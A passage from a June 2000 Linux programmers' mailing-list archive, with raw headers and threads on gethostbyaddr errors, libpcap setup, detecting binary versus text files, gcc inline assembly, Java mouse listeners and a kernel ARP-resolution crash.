Content-Type: text/plain; charset=us-ascii X-Archive-Number: 200006/21 >>>>> On Mon, 5 Jun 2000 16:06:10 +0530 (IST), Kedar Patankar said: Kedar> http://www.castle.net/~avly/djasm.html Great link and BTW the one I have is not part of the usual docs. I found it out just now. It is one I had since sometime back. It is a bit more than that is there on the link though. I will post this somewhere on the net and put a link. Bye Regards - Khader -- Linux poses a real challenge for those with a taste for late-night hacking (and/or conversations with God). Syed Khader Vali (Siddiq) sid@sidcarter.com Debian GNU/Linux (Woody) http://www.sidcarter.com From linux-india-programmers-owner@lists.linux-india.org Mon Jun 5 04:19:36 2000 Received: from agni.wipinfo.soft.net (agni.wipinfo.soft.net [164.164.6.20]) by www.aunet.org (Postfix) with ESMTP id CADBE380F2 for ; Mon, 5 Jun 2000 04:19:12 -0700 (PDT) Received: from vayu.wipinfo.soft.net (vayu [192.168.200.170]) by agni.wipinfo.soft.net (8.9.3/8.9.3) with ESMTP id QAA27364 for ; Mon, 5 Jun 2000 16:44:12 +0500 (GMT) Received: from sarovar.mail.wipro.com ([192.168.2.18]) by vayu.wipinfo.soft.net (8.9.3/8.9.3) with ESMTP id QAA19141 for ; Mon, 5 Jun 2000 16:46:17 +0500 (GMT) Received: from yaksha.wipinfo.soft.net ([192.168.2.78]) by sarovar.mail.wipro.com (Netscape Messaging Server 3.6) with ESMTP id AAA74B4; Mon, 5 Jun 2000 16:47:53 +0530 Date: Mon, 5 Jun 2000 16:56:55 +0530 (IST) From: "Sharad Joshi" X-Sender: sharadj@yaksha.wipinfo.soft.net Reply-To: Sharad Joshi To: PRAKASH GOWRI Cc: linux-india-programmers@lists.linux-india.org Subject: Re: In-Reply-To: <20000605092611.3799.qmail@web1302.mail.yahoo.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Archive-Number: 200006/22 + (1) + im having a problem with the gethostbyaddr function. + i specify the + the arguments as :- + + 127.0.0.1 for the constant character + pointer, + 4 as the size (for ipv4 address), + AF_INET for the family. + + + but i get hptr=NULL which is the pointer to the + hostent structure. Well, cant say, but check the error status, which might help you a lot. To quote from 'man gethostbyaddr' DIAGNOSTICS Error return status from gethostbyname and gethostbyaddr is indicated by return of a null pointer. The external integer h_errno may then be checked to see whether this is a temporary failure or an invalid or unknown host. + + (2) + i am trying to use libpcap (packet capture library) + to develop + a network analyzer(a modest one of course) and i get + the + following message for pcap_open_live:- + + /dev/bpf0 not found Of course you'll have to install the lib first to use it. (Please note, installing means putting it in some 'standard' location. If you want to use it w/o installing it, make sure you use correct paths. On linux, i dont think it uses /dev/bpf0. Its more of socket business, i suppose, but again, i may be wrong... Sharad. From linux-india-programmers-owner@lists.linux-india.org Mon Jun 5 05:39:32 2000 Received: from palrel3.hp.com (palrel3.hp.com [156.153.255.226]) by www.aunet.org (Postfix) with ESMTP id 404F238085 for ; Mon, 5 Jun 2000 05:38:57 -0700 (PDT) Received: from hpuxsrv.india.hp.com (hpuxsrv.india.hp.com [15.10.45.132]) by palrel3.hp.com (Postfix) with ESMTP id 506D55E4 for ; Mon, 5 Jun 2000 05:38:55 -0700 (PDT) Received: from india.hp.com (nt4175.india.hp.com [15.10.41.75]) by hpuxsrv.india.hp.com with ESMTP (8.8.6 (PHNE_17135)/8.8.6 SMKit7.02) id SAA06644 for ; Mon, 5 Jun 2000 18:08:20 +0530 (IST) Message-ID: <393B9F50.55CB84E8@india.hp.com> Date: Mon, 05 Jun 2000 18:08:40 +0530 From: "Satheesh Kumar. N.K" Organization: Hewlett-Packard, India Software Operations X-Mailer: Mozilla 4.04 [en] (WinNT; I) MIME-Version: 1.0 To: "linux-india-programmers@lists.linux-india.org" Subject: (no subject) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Archive-Number: 200006/23 Hi, How can I make out if a file is binary or text given its path? Is there a system call which will help me through this? Note that I don't want to test if a file is block special, char special etc. All I want is if a given file is binary or text. Thanks in advance. Satheesh From linux-india-programmers-owner@lists.linux-india.org Mon Jun 5 05:55:50 2000 Received: from atlrel1.hp.com (atlrel1.hp.com [156.153.255.210]) by www.aunet.org (Postfix) with ESMTP id E79A438053 for ; Mon, 5 Jun 2000 05:55:45 -0700 (PDT) Received: from l3107mxr.atl.hp.com (l3107mxr.atl.hp.com [15.19.254.19]) by atlrel1.hp.com (Postfix) with ESMTP id 2173B1F162 for ; Mon, 5 Jun 2000 08:55:45 -0400 (EDT) Received: from red.india.hp.com (red.india.hp.com [15.10.43.6]) by l3107mxr.atl.hp.com (Postfix) with ESMTP id 6A5FA4FD83 for ; Mon, 5 Jun 2000 07:55:42 -0400 (EDT) Received: from india.hp.com (sachin@localhost [127.0.0.1]) by red.india.hp.com with ESMTP (8.8.6 (PHNE_14041)/8.7.1) id SAA13588 for ; Mon, 5 Jun 2000 18:16:17 +0530 (IST) Message-ID: <393BA115.DB22068D@india.hp.com> Date: Mon, 05 Jun 2000 18:16:13 +0530 From: Sachin Garg Organization: Hewlett Packard ISO X-Mailer: Mozilla 4.7 [en] (X11; I; HP-UX B.10.20 9000/712) X-Accept-Language: en MIME-Version: 1.0 To: linux-india-programmers@lists.linux-india.org Subject: Re: (no subject) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Archive-Number: 200006/24 "Satheesh Kumar. N.K" wrote: > > Hi, > How can I make out if a file is binary or text given its path? > Is there a system call which will help me through this? Note that > I don't want to test if a file is block special, char special etc. All I > > want is if a given file is binary or text. $ file From linux-india-programmers-owner@lists.linux-india.org Mon Jun 5 06:03:36 2000 Received: from palrel3.hp.com (palrel3.hp.com [156.153.255.226]) by www.aunet.org (Postfix) with ESMTP id E679438077 for ; Mon, 5 Jun 2000 06:03:29 -0700 (PDT) Received: from hpuxsrv.india.hp.com (hpuxsrv.india.hp.com [15.10.45.132]) by palrel3.hp.com (Postfix) with ESMTP id 582D6122F for ; Mon, 5 Jun 2000 06:03:28 -0700 (PDT) Received: from india.hp.com (nt4175.india.hp.com [15.10.41.75]) by hpuxsrv.india.hp.com with ESMTP (8.8.6 (PHNE_17135)/8.8.6 SMKit7.02) id SAA08870 for ; Mon, 5 Jun 2000 18:32:53 +0530 (IST) Message-ID: <393BA511.FB016E6D@india.hp.com> Date: Mon, 05 Jun 2000 18:33:13 +0530 From: "Satheesh Kumar. N.K" Organization: Hewlett-Packard, India Software Operations X-Mailer: Mozilla 4.04 [en] (WinNT; I) MIME-Version: 1.0 To: linux-india-programmers@lists.linux-india.org Subject: Re: (no subject) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Archive-Number: 200006/25 Hi Sachin, Sorry for not mentioning that I need to do it programmatically from a user space program. Thanks Satheesh Sachin Garg wrote: > "Satheesh Kumar. N.K" wrote: > > > > Hi, > > How can I make out if a file is binary or text given its path? > > Is there a system call which will help me through this? Note that > > I don't want to test if a file is block special, char special etc. All I > > > > want is if a given file is binary or text. > > $ file > > ----------------------------------------------------------------------- > LIP is all for free speech. But it was created for a purpose - to help > people discuss technical programming related issues about Linux. If > your messages are counterproductive to this purpose, your privileges to > submit messages can and will be revoked. From linux-india-programmers-owner@lists.linux-india.org Mon Jun 5 08:09:40 2000 Received: from mail.vsnl.com (mail.vsnl.com [202.54.1.80]) by www.aunet.org (Postfix) with ESMTP id F41593806D for ; Mon, 5 Jun 2000 08:09:28 -0700 (PDT) Received: from alice.bombay.retortsoft.com (unknown [203.197.60.30]) by mail.vsnl.com (VMailer) with ESMTP id 421D44D33E; Mon, 5 Jun 2000 20:38:35 -0500 (GMT) Received: (from binand@localhost) by alice.bombay.retortsoft.com (8.9.3/8.9.3) id UAA10586 for linux-india-programmers@lists.linux-india.org; Mon, 5 Jun 2000 20:46:01 +0530 Date: Mon, 5 Jun 2000 20:46:01 +0530 From: Binand Raj S To: linux-india-programmers@lists.linux-india.org Subject: Re: (no subject) Message-ID: <20000605204601.A10548@alice.bombay.retortsoft.com> Mail-Followup-To: linux-india-programmers@lists.linux-india.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <393B9F50.55CB84E8@india.hp.com>; from nksk@india.hp.com on Mon, Jun 05, 2000 at 06:08:40PM +0530 X-Operating-System: Linux 2.2.14-6.1.1 X-Editor: VIM - Vi IMproved 5.6a BETA X-Organization: Retort Software Pvt. Ltd. X-Surviving-On: Oxygen, Coffee and Unix X-Archive-Number: 200006/26 Satheesh Kumar. N.K forced the electrons to say: > Hi, > How can I make out if a file is binary or text given its path? Linux (and other Unixes) doesn't distinguish between binary and ascii files. So there is no need for such a system call, and there is no such system call/function in linux. Binand From linux-india-programmers-owner@lists.linux-india.org Mon Jun 5 08:16:27 2000 Received: from sharmas.dhs.org (c62443-a.frmt1.sfba.home.com [24.0.69.165]) by www.aunet.org (Postfix) with ESMTP id A71F6380E8 for ; Mon, 5 Jun 2000 08:16:02 -0700 (PDT) Received: (from adsharma@localhost) by sharmas.dhs.org (8.9.3/8.9.3) id IAA30208 for linux-india-programmers@lists.linux-india.org; Mon, 5 Jun 2000 08:15:52 -0700 Date: Mon, 5 Jun 2000 08:15:52 -0700 From: Arun Sharma To: linux-india-programmers@lists.linux-india.org Subject: Re: Inline assembly syntax in gcc... Message-ID: <20000605081552.B30182@sharmas.dhs.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.6i In-Reply-To: ; from Kedar Patankar on Mon, Jun 05, 2000 at 03:20:22PM +0530 X-Archive-Number: 200006/27 On Mon, Jun 05, 2000 at 03:20:22PM +0530, Kedar Patankar wrote: > Hi all, > > Can anyone point out the way inline assembly is used in gcc? In particular > I am confused about the following kind of code in the kernel. > > asm volatile ("movl %%cr4, %0\n\t" > "movl %0, %1\n\t" > "andb $0x7f, %b1\n\t" > "movl %1, %%cr4\n\t" > : "=r" (ctxt->cr4val), "=q" (tmp) : : "memory"); Look in gcc.info. -Arun From linux-india-programmers-owner@lists.linux-india.org Mon Jun 5 08:18:46 2000 Received: from sharmas.dhs.org (c62443-a.frmt1.sfba.home.com [24.0.69.165]) by www.aunet.org (Postfix) with ESMTP id 8F3C7380F3 for ; Mon, 5 Jun 2000 08:18:42 -0700 (PDT) Received: (from adsharma@localhost) by sharmas.dhs.org (8.9.3/8.9.3) id IAA30215 for linux-india-programmers@lists.linux-india.org; Mon, 5 Jun 2000 08:18:32 -0700 Date: Mon, 5 Jun 2000 08:18:32 -0700 From: Arun Sharma To: linux-india-programmers@lists.linux-india.org Subject: Re: (no subject) Message-ID: <20000605081832.C30182@sharmas.dhs.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.6i In-Reply-To: <393B9F50.55CB84E8@india.hp.com>; from Satheesh Kumar. N.K on Mon, Jun 05, 2000 at 06:08:40PM +0530 X-Archive-Number: 200006/28 On Mon, Jun 05, 2000 at 06:08:40PM +0530, Satheesh Kumar. N.K wrote: > Hi, > How can I make out if a file is binary or text given its path? > Is there a system call which will help me through this? Note that > I don't want to test if a file is block special, char special etc. All I > > want is if a given file is binary or text. You need to open the file, read the first few bytes and see if you can figure out the type of the file. Basically, see if you can rip off the logic of the "file" command in a library. Also, people reading this list should also read the UNIX programmer's faq on faqs.org. -Arun From linux-india-programmers-owner@lists.linux-india.org Mon Jun 5 08:44:34 2000 Received: from brelay.tatainfotech.com (unknown [202.54.39.145]) by www.aunet.org (Postfix) with ESMTP id 9C2E538078 for ; Mon, 5 Jun 2000 08:44:16 -0700 (PDT) Received: from blrmail.in.tatainfotech.com (blrmail [163.122.1.1]) by brelay.tatainfotech.com (8.9.3/8.9.3) with ESMTP id VAA20855 for ; Mon, 5 Jun 2000 21:21:01 +0530 Received: from localhost (narain.cr@localhost) by blrmail.in.tatainfotech.com (8.9.3/8.9.3) with ESMTP id VAA06868 for ; Mon, 5 Jun 2000 21:17:37 +0530 Date: Mon, 5 Jun 2000 21:17:37 +0530 (IST) From: Raju X-Sender: narain.cr@blrmail.in.tatainfotech.com To: linux-india-programmers@lists.linux-india.org Subject: Re: (no subject) In-Reply-To: <393BA511.FB016E6D@india.hp.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Archive-Number: 200006/29 Hi Satheesh, If U would like to do it from a C program, just execute the command (file ) like someone suggested using `system`... To further proceed U have to do a `man popen`... HTH ... Narain. On Mon, 5 Jun 2000, Satheesh Kumar. N.K wrote: Hi Sachin, Sorry for not mentioning that I need to do it programmatically from a user space program. From linux-india-programmers-owner@lists.linux-india.org Mon Jun 5 12:38:05 2000 Received: from jla.vsnl.net.in (unknown [202.54.103.1]) by www.aunet.org (Postfix) with ESMTP id 782113806B for ; Mon, 5 Jun 2000 12:37:53 -0700 (PDT) Received: from tciits-ntws-gen ([210.214.83.201]) by jla.vsnl.net.in (8.9.3/8.8.8) with SMTP id BAA17848 for ; Tue, 6 Jun 2000 01:09:21 -0500 (IST) Message-Id: <200006060609.BAA17848@jla.vsnl.net.in> X-Sender: jjo3@jjoverseas.com X-Mailer: QUALCOMM Windows Eudora Pro Version 4.0 Date: Tue, 06 Jun 2000 01:09:17 +0000 To: linux-india-programmers@lists.linux-india.org From: Sanjay Arora Subject: COMMERCIAL: Linux Sys Admin/Web Master wanted... Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" X-Archive-Number: 200006/30 New Company at Mohali (Chandigarh) started by Linux hobbyist requires a System Administrator cum Web-Master. Person will be responsible for Internal Linux & Samba Servers and the management of Virtual Web Servers in US. Person should have excellent mastery over linux and be willing to relocate to Mohali. Everything else can be negotiated. Pay no problem for a the right candidate. Email resume to : sales@jjoverseas.comXXXXRemove this anti-spam string Sanjay. From linux-india-programmers-owner@lists.linux-india.org Mon Jun 5 20:13:24 2000 Received: from giasbgc.vsnl.net.in (giasbgc.vsnl.net.in [202.54.12.163]) by www.aunet.org (Postfix) with ESMTP id 429BE38072 for ; Mon, 5 Jun 2000 20:13:18 -0700 (PDT) Received: from cranks ([203.197.183.42]) by giasbgc.vsnl.net.in (8.9.3/8.9.3) with SMTP id IAA28954; Tue, 6 Jun 2000 08:33:39 -0500 (GMT) Message-ID: <001401bfcf67$01bb5aa0$2ab7c5cb@cranks> Reply-To: "Chetan Gopal Kashinath" From: "Chetan Gopal Kashinath" To: "LIP" Subject: guidance Date: Tue, 6 Jun 2000 08:54:44 +0530 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-Mailer: Microsoft Outlook Express 5.00.2014.211 X-Archive-Number: 200006/31 hi, in my Frame i want to detect that the mouse has been moved over a button. ( i am programming in java ) how can this be acheived ? i have an object 'a'( say a frame ) and in it another object 'b' ( say a button ). now 'a' can be the actionlistener of 'b'. is it possible that 'b' can be its own actionlistener ? 'b' is a button. - chetu From linux-india-programmers-owner@lists.linux-india.org Mon Jun 5 21:23:47 2000 Received: from shardagate.mahindrabt.com (unknown [206.102.1.162]) by www.aunet.org (Postfix) with ESMTP id 19D7238078 for ; Mon, 5 Jun 2000 21:23:35 -0700 (PDT) Received: (from uucp@localhost) by shardagate.mahindrabt.com (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) id JAA02551 for ; Tue, 6 Jun 2000 09:53:29 +0530 Received: from UNKNOWN(10.4.0.15), claiming to be "intranet.pune.mahindrabt.com" via SMTP by shardagate, id smtpdDMe8y9; Tue Jun 6 09:53:18 2000 Received: from mahindrabt.com ([10.5.2.167]) by intranet.pune.mahindrabt.com (8.9.3/8.9.3) with ESMTP id JAA00529 for ; Tue, 6 Jun 2000 09:52:06 +0530 Message-ID: <393C7D0B.F14E47BC@mahindrabt.com> Date: Tue, 06 Jun 2000 09:54:43 +0530 From: Rajeev Jha X-Mailer: Mozilla 4.72 [en] (Win95; I) X-Accept-Language: en MIME-Version: 1.0 To: linux-india-programmers@lists.linux-india.org Subject: Re: (no subject) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Archive-Number: 200006/32 hi list binand, i think by this u mean that every file in unix is a series of bytes , no special bytes , whether text or binary files. just one query, what exactly is an ascii text file , as listed by the $ file command ? i mean is ascii just means that some programs( cat , more etc) can output it neatly on the screen ? Binand Raj S wrote: > > Satheesh Kumar. N.K forced the electrons to say: > > Hi, > > How can I make out if a file is binary or text given its path? > > Linux (and other Unixes) doesn't distinguish between binary and ascii > files. So there is no need for such a system call, and there is no such > system call/function in linux. > > Binand > > -- In a world without fences, who needs Gates ? not I .. ------------------------------------------------------------------ Email: rajeevj@mahindrabt.com Office : MBT(Sharda centre), off karve road Pune , India Tring Tring : +91(20)5424301 Xtn: 1126 Web-Site : http://www.rajeevjha.com ------------------------------------------------------------------- From linux-india-programmers-owner@lists.linux-india.org Mon Jun 5 21:30:46 2000 Received: from gg2ns.delhi.tcs.co.in (unknown [202.54.61.36]) by www.aunet.org (Postfix) with ESMTP id 25F3238078 for ; Mon, 5 Jun 2000 21:30:41 -0700 (PDT) Received: from MAILGG2.delhi.tcs.co.in (mailgg2 [157.227.2.117]) by gg2ns.delhi.tcs.co.in (8.9.1b+Sun/8.9.1) with SMTP id JAA19995; Tue, 6 Jun 2000 09:31:06 -0500 (GMT) Received: from delhi.tcs.co.in ([157.227.12.225]) by MAILGG2.delhi.tcs.co.in (Lotus SMTP MTA v4.6.1 (569.2 2-6-1998)) with SMTP id 652568F6.0018EE15; Sat, 6 Jun 1970 10:02:18 +0530 Message-ID: <393C7E55.D11992B8@delhi.tcs.co.in> Date: Tue, 06 Jun 2000 10:00:13 +0530 From: Rohit Singh Organization: TCS X-Mailer: Mozilla 4.61 [en] (X11; I; Linux 2.2.12-20smp i686) X-Accept-Language: en MIME-Version: 1.0 To: Rajeev Jha Cc: linux-india-programmers@lists.linux-india.org Subject: Re: (no subject) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Archive-Number: 200006/33 man 1 file > binand, i think by this u mean that every file in unix is a series of > bytes , no special bytes , whether text or binary files. just one query, > what exactly is an ascii text file , as listed by the $ file > command ? i mean is ascii just means that some programs( cat , more > etc) can output it neatly on the screen ? From linux-india-programmers-owner@lists.linux-india.org Mon Jun 5 23:31:09 2000 Received: from mail.cysphere.com (unknown [196.12.38.209]) by www.aunet.org (Postfix) with ESMTP id 6F5D6380AE for ; Mon, 5 Jun 2000 23:31:00 -0700 (PDT) Received: from saik3 ([90.0.0.86]) by mail.cysphere.com (Post.Office MTA v3.5.3 release 223 ID# 0-63969U100L2S100V35) with SMTP id com for ; Tue, 6 Jun 2000 12:00:21 +0530 From: ralhan@cysphere.com (ralhan) To: Subject: RE: guidance Date: Mon, 8 May 2000 23:59:58 +0530 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) Importance: Normal In-Reply-To: <001401bfcf67$01bb5aa0$2ab7c5cb@cranks> X-Archive-Number: 200006/34 regarding the catching mouse event depends upon which jdk you are using if it more than jdk1.0 then you can addd action listener to the button and then capture the event and see wether it sis mouse over or something see i think re think what you are trying to ask in second question please elaborate it or probalby if you can write your second coded in language and tell what you are tryign to achieve ralhan -----Original Message----- From: linux-india-programmers-owner@lists.linux-india.org [mailto:linux-india-programmers-owner@lists.linux-india.org]On Behalf Of Chetan Gopal Kashinath Sent: Tuesday, June 06, 2000 8:55 AM To: LIP Subject: [LIP] guidance hi, in my Frame i want to detect that the mouse has been moved over a button. ( i am programming in java ) how can this be acheived ? i have an object 'a'( say a frame ) and in it another object 'b' ( say a button ). now 'a' can be the actionlistener of 'b'. is it possible that 'b' can be its own actionlistener ? 'b' is a button. - chetu ----------------------------------------------------------------------- For information on this and other Linux India mailing lists check out http://lists.linux-india.org/ From linux-india-programmers-owner@lists.linux-india.org Mon Jun 5 23:37:45 2000 Received: from agni.wipinfo.soft.net (agni.wipinfo.soft.net [164.164.6.20]) by www.aunet.org (Postfix) with ESMTP id 0E296380E2 for ; Mon, 5 Jun 2000 23:37:34 -0700 (PDT) Received: from vayu.wipinfo.soft.net (vayu [192.168.200.170]) by agni.wipinfo.soft.net (8.9.3/8.9.3) with ESMTP id MAA25434 for ; Tue, 6 Jun 2000 12:04:01 +0500 (GMT) Received: from wipro.tcpn.com ([172.31.41.11]) by vayu.wipinfo.soft.net (8.9.3/8.9.3) with ESMTP id MAA20973 for ; Tue, 6 Jun 2000 12:06:14 +0500 (GMT) Received: from saveri.wipro.tcpn.com (syedk@saveri.wipro.tcpn.com [172.31.41.28]) by wipro.tcpn.com (8.9.3/8.9.3) with SMTP id MAA26956 for ; Tue, 6 Jun 2000 12:10:59 +0530 (IST) Date: Tue, 6 Jun 2000 12:11:14 +0530 (IST) From: Syed Khaleelulla To: linux-india-programmers@lists.linux-india.org Subject: Problem in resolving MAC address, Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Archive-Number: 200006/35 Hello All, I have a function which gets as input a IP packet. I build the frame header for this IP packet and then send it across. To do this I do the following things, xyz( sk_buff skb) { skb->dev = [put device here]; skb->nh.iph->saddr = [alter the saddress to this m/c] skb->nh.iph->raddr = [ ,, router address] if (!skb->dst) [allocate dst_entry stucture] rt = (struct rtable *) skb->dst; [I point to rtable] ** ip_route_output(&rt, skb->nh.iph->raddr, skb->nh.iph->saddr, 1, 0 ) [In above function call I get the route table entry filled] hdr = (struct ethhdr *)skb_push( skb, ETH_HLEN); memcpy(hdr->h_source, skb->dev->dev_addr, skb->dev->addr_len); hdr->h_proto = __constant_htons(ETH_P_IP); ** arp_find(skb->dev->h_dest, skb); ** dev_queue_xmit(skb); } The problem is my arp_find call fails and does not reslove the hardware address but craches the system. If insted of callinf the arp_find if I hard code the mac address of my router every thing works fine. I am using Kernel 2.2.13. Can any one of you tell me where am I going wrong. Should I save any of the pointers or do some additional assignments before calling or after calling arp_find. -Thanks *************************************************************************** In a world without fences who needs Gates... *************************************************************************** Syed Khaleelulla, Software Engineer, Wipro Global R&D, 26, Hosur Main Road, Bommanhalli, Bangalore - 560068, India. Tel: 91-80-5722293/6 Extn- 2151. Fax: 91-80-5722696. www.wipro.com. The World's First SEI CMM Level 5 Software Services Company. ************************************************************************** From linux-india-programmers-owner@lists.linux-india.org Tue Jun 6 00:24:28 2000 Received: from aero.iisc.ernet.in (aero.iisc.ernet.in [144.16.73.100]) by www.aunet.org (Postfix) with ESMTP id 679D63809C for ; Tue, 6 Jun 2000 00:24:19 -0700 (PDT) Received: from localhost (pallav99@localhost) by aero.iisc.ernet.in (8.9.3/8.8.7) with SMTP id MAA14269 for ; Tue, 6 Jun 2000 12:59:13 +0530 Date: Tue, 6 Jun 2000 12:59:13 +0530 (IST) From: Pallav Nawani To: linux-india-programmers@lists.linux-india.org Subject: Re: (no subject) In-Reply-To: <393C7D0B.F14E47BC@mahindrabt.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Archive-Number: 200006/36 On Tue, 6 Jun 2000, Rajeev Jha wrote: > hi list > binand, i think by this u mean that every file in unix is a series of > bytes , no special bytes , whether text or binary files. just one query, > what exactly is an ascii text file , as listed by the $ file > command ? i mean is ascii just means that some programs( cat , more > etc) can output it neatly on the screen ? > Well, yes. A byte can be used to represent 256 different values/characters. Of these, all have been assigned a special meaning, eg, EOF,'/n' '/t' etc are just one of these combinations having been assigned a special meaning. Similarly the normal alphanumeric characters such as 'a' ... 'z' ..1,2, * %..etc have a corresponding hexadecimal value, which is interpreted by cat, more etc as text, as per the ASCII standard. So there is no ascii file as such. It only depend on the interpretation. pallav. ___________________________________________________________________ O Sun of refulgent glory, I made you what you are. - Mandakyo Upnishad ____________________________________________________________________ Pallav Nawani | Visit me at | M-41, | http://www.angelfire.com/co/pallav | IISc Bangalore | --------------------------------------------| PIN 560012 | | Phone : 3092453 | | _____________________|_____________________________________________| From linux-india-programmers-owner@lists.linux-india.org Tue Jun 6 00:28:03 2000 Received: from atlrel1.hp.com (atlrel1.hp.com [156.153.255.210]) by www.aunet.org (Postfix) with ESMTP id B9CBB380C2 for ; Tue, 6 Jun 2000 00:27:59 -0700 (PDT) Received: from l3107mxr.atl.hp.com (l3107mxr.atl.hp.com [15.19.254.19]) by atlrel1.hp.com (Postfix) with ESMTP id 47FBF1D255 for ; Tue, 6 Jun 2000 03:27:59 -0400 (EDT) Received: from red.india.hp.com (red.india.hp.com [15.10.43.6]) by l3107mxr.atl.hp.com (Postfix) with ESMTP id 80F5251873 for ; Tue, 6 Jun 2000 01:13:50 -0400 (EDT) Received: from india.hp.com (sachin@localhost [127.0.0.1]) by red.india.hp.com with ESMTP (8.8.6 (PHNE_14041)/8.7.1) id LAA15097 for ; Tue, 6 Jun 2000 11:34:24 +0530 (IST) Message-ID: <393C9467.A3BD4411@india.hp.com> Date: Tue, 06 Jun 2000 11:34:23 +0530 From: Sachin Garg Organization: Hewlett Packard ISO X-Mailer: Mozilla 4.7 [en] (X11; I; HP-UX B.10.20 9000/712) X-Accept-Language: en MIME-Version: 1.0 To: linux-india-programmers@lists.linux-india.org Subject: Re: (no subject) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Archive-Number: 200006/37 Rajeev Jha wrote: > what exactly is an ascii text file , as listed by the $ file > command ? i mean is ascii just means that some programs( cat , more > etc) can output it neatly on the screen ? AFAIK, an ASCII text file is a file that would contain *only* the ASCII printable characters. sachin From linux-india-programmers-owner@lists.linux-india.org Tue Jun 6 00:55:13 2000 Received: from gg2ns.delhi.tcs.co.in (unknown [202.54.61.36]) by www.aunet.org (Postfix) with ESMTP id 7888B3813D for ; Tue, 6 Jun 2000 00:55:08 -0700 (PDT) Received: from MAILGG2.delhi.tcs.co.in (mailgg2 [157.227.2.117]) by gg2ns.delhi.tcs.co.in (8.9.1b+Sun/8.9.1) with SMTP id MAA20953; Tue, 6 Jun 2000 12:55:58 -0500 (GMT) Received: from delhi.tcs.co.in ([157.227.12.225]) by MAILGG2.delhi.tcs.co.in (Lotus SMTP MTA v4.6.1 (569.2 2-6-1998)) with SMTP id 652568F6.002BAB22; Sat, 6 Jun 1970 13:26:58 +0530 Message-ID: <393CAE4E.2819446D@delhi.tcs.co.in> Date: Tue, 06 Jun 2000 13:24:54 +0530 From: Rohit Singh Organization: TCS X-Mailer: Mozilla 4.61 [en] (X11; I; Linux 2.2.12-20smp i686) X-Accept-Language: en MIME-Version: 1.0 To: Chetan Gopal Kashinath , "linux-india-programmers@lists.linux-india.org" Subject: Re: guidance Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Archive-Number: 200006/38 > in my Frame i want to detect that the mouse has been moved over a > button. ( i am programming in java ) how can this be acheived ? Hi, there are (atleast) two ways to do this: #1: Use a MouseMotionListener or Adapter button.addMouseMotionListener(new MouseMotionAdapter() { public void mouseMoved(MouseEvent evt) { //... do what you want with mosue movements... } } ); You can use a separate class that implements MouseMotionListener too. (Here ive used an anonymous inner class) #2: Subclass Button and enableEvents(AWTEvent.MOUSE_EVENT) in its constructor after calling super(). Then add a method for processing the mouse event: public void processMouseEvent( Mouse Event e) { ... } As for your other Question... > > i have an object 'a'( say a frame ) and in it another object 'b' ( say > a > button ). now 'a' can be the actionlistener of 'b'. is it possible that 'b' > can be its own actionlistener ? 'b' is a button. Yes It's possible... you can use addActionListener(this) provided that class implements the ActionListener interface. Hope this helps, Rohit From linux-india-programmers-owner@lists.linux-india.org Tue Jun 6 01:48:50 2000 Received: from agni.wipinfo.soft.net (agni.wipinfo.soft.net [164.164.6.20]) by www.aunet.org (Postfix) with ESMTP id 9155938072 for ; Tue, 6 Jun 2000 01:48:36 -0700 (PDT) Received: from vayu.wipinfo.soft.net (vayu [192.168.200.170]) by agni.wipinfo.soft.net (8.9.3/8.9.3) with ESMTP id OAA01795 for ; Tue, 6 Jun 2000 14:14:43 +0500 (GMT) Received: from sarovar.mail.wipro.com ([192.168.2.18]) by vayu.wipinfo.soft.net (8.9.3/8.9.3) with ESMTP id OAA06434 for ; Tue, 6 Jun 2000 14:16:56 +0500 (GMT) Received: from yaksha.wipinfo.soft.net ([192.168.2.78]) by sarovar.mail.wipro.com (Netscape Messaging Server 3.6) with ESMTP id AAA2D27; Tue, 6 Jun 2000 14:18:32 +0530 Date: Tue, 6 Jun 2000 14:27:49 +0530 (IST) From: "Sharad Joshi" X-Sender: sharadj@yaksha.wipinfo.soft.net Reply-To: Sharad Joshi To: Syed Khaleelulla Cc: linux-india-programmers@lists.linux-india.org Subject: Re: Problem in resolving MAC address, In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Archive-Number: 200006/39 Syed, + skb->nh.iph->saddr = [alter the saddress to this m/c] + skb->nh.iph->raddr = [ ,, router address] Are you sure, this the next hop router? + ** ip_route_output(&rt, skb->nh.iph->raddr, + skb->nh.iph->saddr, 1, 0 ) Is THIS failing instead of arp_find? If that is not the case, what does __neighbour_lookup and arp_set_predifined return? Sharad. From linux-india-programmers-owner@lists.linux-india.org Tue Jun 6 01:56:13 2000 Received: from shardagate.mahindrabt.com (unknown [206.102.1.162]) by www.aunet.org (Postfix) with ESMTP id 0242B38071 for ; Tue, 6 Jun 2000 01:56:01 -0700 (PDT) Received: (from uucp@localhost) by shardagate.mahindrabt.com (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) id OAA23534 for ; Tue, 6 Jun 2000 14:25:55 +0530 Received: from UNKNOWN(10.4.0.15), claiming to be "intranet.pune.mahindrabt.com" via SMTP by shardagate, id smtpd4bIasg; Tue Jun 6 14:25:49 2000 Received: from mahindrabt.com 